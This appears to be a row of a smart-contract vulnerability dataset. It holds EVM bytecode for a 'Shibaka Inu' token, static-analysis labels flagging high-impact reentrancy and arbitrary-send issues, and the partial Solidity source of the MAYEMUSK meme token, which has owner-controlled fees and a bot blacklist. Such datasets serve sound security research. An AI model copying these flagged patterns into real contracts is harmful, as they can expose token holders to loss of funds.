5a0576001600a6000848481518110610534577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610598906134fb565b9150506104ec565b5050565b60606040518060400160405280600b81526020017f53686962616b6120496e75000000000000000000000000000000000000000000815250905090565b60006105f56105ee6113b6565b84846113be565b6001905092915050565b6000683635c9adc5dea00000905090565b600061061d848484611589565b6106de846106296113b6565b6106d98560405180606001604052806028815260200161394760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068f6113b6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d559092919063ffffffff16565b6113be565b600190509392505050565b60006009905090565b6106fa6113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077e90613145565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b6107ac6113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610839576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083090613145565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108d56113b6565b73ffffffffffffffffffffffffffffffffffffffff16146108f557600080fd5b600047905061090381611db9565b50565b6000610950600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eb4565b9050919050565b61095f6113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e390613145565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ab26113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3690613145565b60405180910390fd5b60008111610b82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b79906130e5565b60405180910390fd5b8060118190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f53686962616b61496e7500000000000000000000000000000000000000000000815250905090565b6000610c06610bff6113b6565b8484611589565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c516113b6565b73ffffffffffffffffffffffffffffffffffffffff1614610c7157600080fd5b6000610c7c30610906565b9050610c8781611f22565b50565b610c926113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1690613145565b60405180910390fd5b60008111610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990613105565b60405180910390fd5b610d916064610d8383683635c9adc5dea0000061221c90919063ffffffff16565b61229790919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601054604051610dc891906131e5565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e626113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee690613145565b60405180910390fd5b600f60149054906101000a900460ff1615610f3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3690613065565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fcf30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006113be565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561101557600080fd5b505afa158015611029573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104d9190612a6f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156110af57600080fd5b505afa1580156110c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e79190612a6f565b6040518363ffffffff1660e01b8152600401611104929190612f55565b602060405180830381600087803b15801561111e57600080fd5b505af1158015611132573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111569190612a6f565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111df30610906565b6000806111ea610b8c565b426040518863ffffffff1660e01b815260040161120c96959493929190612fa7565b6060604051808303818588803b15801561122557600080fd5b505af1158015611239573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061125e9190612c1b565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611360929190612f7e565b602060405180830381600087803b15801561137a57600080fd5b505af115801561138e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b29190612bc9565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561142e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611425906131a5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561149e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611495906130a5565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157c91906131e5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f090613185565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611669576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166090613045565b60405180910390fd5b600081116116ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a390613165565b60405180910390fd5b6116b4610b8c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172257506116f2610b8c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c9257600f60179054906101000a900460ff1615611955573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117a457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117fe5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118585750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561195457600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661189e6113b6565b73ffffffffffffffffffffffffffffffffffffffff1614806119145750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118fc6113b6565b73ffffffffffffffffffffffffffffffffffffffff16145b611953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194a906131c5565b60405180910390fd5b5b5b60105481111561196457600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a085750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a1157600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611abc5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b125750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b2a5750600f60179054906101000a900460ff165b15611bd85742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611b7a57600080fd5b6001601154611b8991906133a2565b42611b94919061331b565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611be330610906565b9050600f60159054906101000a900460ff16158015611c505750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c685750600f60169054906101000a900460ff165b15611c9057611c7681611f22565b60004790506000811115611c8e57611c8d47611db9565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d395750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d4357600090505b611d4f848484846122e1565b50505050565b6000838311158290611d9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d949190613023565b60405180910390fd5b5060008385611dac91906133fc565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e0960028461229790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e34573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e8560028461229790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611eb0573d6000803e3d6000fd5b5050565b6000600654821115611efb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef290613085565b60405180910390fd5b6000611f0561230e565b9050611f1a818461229790919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f80577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fae5781602001602082028036833780820191505090505b5090503081600081518110611fec577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208e57600080fd5b505afa1580156120a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120c69190612a6f565b81600181518110612100577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061216730600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113be565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121cb959493929190613200565b600060405180830381600087803b1580156121e557600080fd5b505af11580156121f9573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561222f5760009050612291565b6000828461223d91906133a2565b905082848261224c9190613371565b1461228c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228390613125565b60405180910390fd5b809150505b92915050565b60006122d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612339565b905092915050565b806122ef576122ee61239c565b5b6122fa8484846123cd565b8061230857612307612598565b5b50505050565b600080600061231b6125aa565b91509150612332818361229790919063ffffffff16565b9250505090565b60008083118290612380576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123779190613023565b60405180910390fd5b506000838561238f9190613371565b9050809150509392505050565b60006008541480156123b057506000600954145b156123ba576123cb565b600060088190555060006009819055505b565b6000806000806000806123df8761260c565b95509550955095509550955061243d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461267490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124d285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061251e8161271c565b61252884836127d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161258591906131e5565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506125e0683635c9adc5dea0000060065461229790919063ffffffff16565b8210156125ff57600654683635c9adc5dea00000935093505050612608565b81819350935050505b9091565b60008060008060008060008060006126298a600854600954612813565b925092509250600061263961230e565b9050600080600061264c8e8787876128a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d55565b905092915050565b60008082846126cd919061331b565b905083811015612712576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612709906130c5565b60405180910390fd5b8091505092915050565b600061272661230e565b9050600061273d828461221c90919063ffffffff16565b905061279181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6127ee8260065461267490919063ffffffff16565b600681905550612809816007546126be90919063ffffffff16565b6007819055505050565b60008060008061283f6064612831888a61221c90919063ffffffff16565b61229790919063ffffffff16565b90506000612869606461285b888b61221c90919063ffffffff16565b61229790919063ffffffff16565b9050600061289282612884858c61267490919063ffffffff16565b61267490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128c2858961221c90919063ffffffff16565b905060006128d9868961221c90919063ffffffff16565b905060006128f0878961221c90919063ffffffff16565b905060006129198261290b858761267490919063ffffffff16565b61267490919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006129456129408461329a565b613275565b9050808382526020820190508285602086028201111561296457600080fd5b60005b85811015612994578161297a888261299e565b845260208401935060208301925050600181019050612967565b5050509392505050565b6000813590506129ad81613901565b92915050565b6000815190506129c281613901565b92915050565b600082601f8301126129d957600080fd5b81356129e9848260208601612932565b91505092915050565b600081359050612a0181613918565b92915050565b600081519050612a1681613918565b92915050565b600081359050612a2b8161392f565b92915050565b600081519050612a408161392f565b92915050565b600060208284031215612a5857600080fd5b6000612a668482850161299e565b91505092915050565b600060208284031215612a8157600080fd5b6000612a8f848285016129b3565b91505092915050565b60008060408385031215612aab57600080fd5b6000612ab98582860161299e565b9250506020612aca8582860161299e565b9150509250929050565b600080600060608486031215612ae957600080fd5b6000612af78682870161299e565b9350506020612b088682870161299e565b9250506040612b1986828701612a1c565b9150509250925092565b60008060408385031215612b3657600080fd5b6000612b448582860161299e565b9250506020612b5585828601612a1c565b9150509250929050565b600060208284031215612b7157600080fd5b600082013567ffffffffffffffff811115612b8b57600080fd5b612b97848285016129c8565b91505092915050565b600060208284031215612bb257600080fd5b6000612bc0848285016129f2565b91505092915050565b600060208284031215612bdb57600080fd5b6000612be984828501612a07565b91505092915050565b600060208284031215612c0457600080fd5b6000612c1284828501612a1c565b91505092915050565b600080600060608486031215612c3057600080fd5b6000612c3e86828701612a31565b9350506020612c4f86828701612a31565b9250506040612c6086828701612a31565b9150509250925092565b6000612c768383612c82565b60208301905092915050565b612c8b81613430565b82525050565b612c9a81613430565b82525050565b6000612cab826132d6565b612cb581856132f9565b9350612cc0836132c6565b8060005b83811015612cf1578151612cd88882612c6a565b9750612ce3836132ec565b925050600181019050612cc4565b5085935050505092915050565b612d0781613442565b82525050565b612d1681613485565b82525050565b6000612d27826132e1565b612d31818561330a565b9350612d41818560208601613497565b612d4a816135d1565b840191505092915050565b6000612d6260238361330a565b9150612d6d826135e2565b604082019050919050565b6000612d85601a8361330a565b9150612d9082613631565b602082019050919050565b6000612da8602a8361330a565b9150612db38261365a565b604082019050919050565b6000612dcb60228361330a565b9150612dd6826136a9565b604082019050919050565b6000612dee601b8361330a565b9150612df9826136f8565b602082019050919050565b6000612e11601b8361330a565b9150612e1c82613721565b602082019050919050565b6000612e34601d8361330a565b9150612e3f8261374a565b602082019050919050565b6000612e5760218361330a565b9150612e6282613773565b604082019050919050565b6000612e7a60208361330a565b9150612e85826137c2565b602082019050919050565b6000612e9d60298361330a565b9150612ea8826137eb565b604082019050919050565b6000612ec060258361330a565b9150612ecb8261383a565b604082019050919050565b6000612ee360248361330a565b9150612eee82613889565b604082019050919050565b6000612f0660118361330a565b9150612f11826138d8565b602082019050919050565b612f258161346e565b82525050565b612f3481613478565b82525050565b6000602082019050612f4f6000830184612c91565b92915050565b6000604082019050612f6a6000830185612c91565b612f776020830184612c91565b9392505050565b6000604082019050612f936000830185612c91565b612fa06020830184612f1c565b9392505050565b600060c082019050612fbc6000830189612c91565b612fc96020830188612f1c565b612fd66040830187612d0d565b612fe36060830186612d0d565b612ff06080830185612c91565b612ffd60a0830184612f1c565b979650505050505050565b600060208201905061301d6000830184612cfe565b92915050565b6000602082019050818103600083015261303d8184612d1c565b905092915050565b6000602082019050818103600083015261305e81612d55565b9050919050565b6000602082019050818103600083015261307e81612d78565b9050919050565b6000602082019050818103600083015261309e81612d9b565b9050919050565b600060208201905081810360008301526130be81612dbe565b9050919050565b600060208201905081810360008301526130de81612de1565b9050919050565b600060208201905081810360008301526130fe81612e04565b9050919050565b6000602082019050818103600083015261311e81612e27565b9050919050565b6000602082019050818103600083015261313e81612e4a565b9050919050565b6000602082019050818103600083015261315e81612e6d565b9050919050565b6000602082019050818103600083015261317e81612e90565b9050919050565b6000602082019050818103600083015261319e81612eb3565b9050919050565b600060208201905081810360008301526131be81612ed6565b9050919050565b600060208201905081810360008301526131de81612ef9565b9050919050565b60006020820190506131fa6000830184612f1c565b92915050565b600060a0820190506132156000830188612f1c565b6132226020830187612d0d565b81810360408301526132348186612ca0565b90506132436060830185612c91565b6132506080830184612f1c565b9695505050505050565b600060208201905061326f6000830184612f2b565b92915050565b600061327f613290565b905061328b82826134ca565b919050565b6000604051905090565b600067ffffffffffffffff8211156132b5576132b46135a2565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133268261346e565b91506133318361346e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561336657613365613544565b5b828201905092915050565b600061337c8261346e565b91506133878361346e565b92508261339757613396613573565b5b828204905092915050565b60006133ad8261346e565b91506133b88361346e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133f1576133f0613544565b5b828202905092915050565b60006134078261346e565b91506134128361346e565b92508282101561342557613424613544565b5b828203905092915050565b600061343b8261344e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006134908261346e565b9050919050565b60005b838110156134b557808201518184015260208101905061349a565b838111156134c4576000848401525b50505050565b6134d3826135d1565b810181811067ffffffffffffffff821117156134f2576134f16135a2565b5b80604052505050565b60006135068261346e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561353957613538613544565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f53656373206d7573742062652067726561746572207468616e20300000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61390a81613430565b811461391557600080fd5b50565b61392181613442565b811461392c57600080fd5b50565b6139388161346e565b811461394357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a213d4f5a56c1341dbd8aa9f13c529d53a4838bca15d4334117712d36438bd4d64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,295 |
0xb264eaa4e42c41b0600ff82d47b0f08c376f1658
|
/**
*Submitted for verification at Etherscan.io on 2021-07-01
*/
/*
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MAYEMUSK is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "MAYEMUSK";
string private constant _symbol = "MAYEMUSK";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 1;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 1;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
